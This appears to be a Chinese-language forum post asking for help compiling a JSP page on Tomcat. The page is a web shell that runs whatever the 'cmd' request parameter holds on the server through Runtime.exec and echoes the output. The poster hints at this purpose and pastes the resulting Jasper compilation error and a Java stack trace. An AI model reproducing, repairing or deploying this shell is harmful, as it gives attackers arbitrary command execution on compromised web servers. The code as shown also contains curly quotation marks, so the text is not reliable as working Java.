试图写一个tomcat应用程序。好好学习怎么做。它是用 JSP 编写的。无需猜测它的作用......我正在尝试在这里编译这段代码:
<%@ page import=”java.util.*,java.io.*”%>
<%
if (request.getParameter(“cmd”) != null) {
out.println(“Command: ” +
request.getParameter(“cmd”) + “<BR>”);
Process p = Runtime.getRuntime().exec(request.getParameter(“cmd”));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
我收到了这个错误:
HTTP Status 500 -
type Exception report
message
description The server encountered an internal error () that prevented it from fulfilling this request.
exception
org.apache.jasper.JasperException: Unable to compile class for JSP
org.apache.jasper.JspCompilationContext.load(JspCompilationContext.java:553)
org.apache.jasper.servlet.JspServletWrapper.getServlet(JspServletWrapper.java:136)
org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:307)
org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:292)
root cause
java.lang.NullPointerException
sun.misc.URLClassPath$3.run(Unknown Source)
java.security.AccessController.doPrivileged(Native Method)
sun.misc.URLClassPath.getLoader(Unknown Source)
sun.misc.URLClassPath.getLoader(Unknown Source)
sun.misc.URLClassPath.getResource(Unknown Source)
java.net.URLClassLoader$1.run(Unknown Source)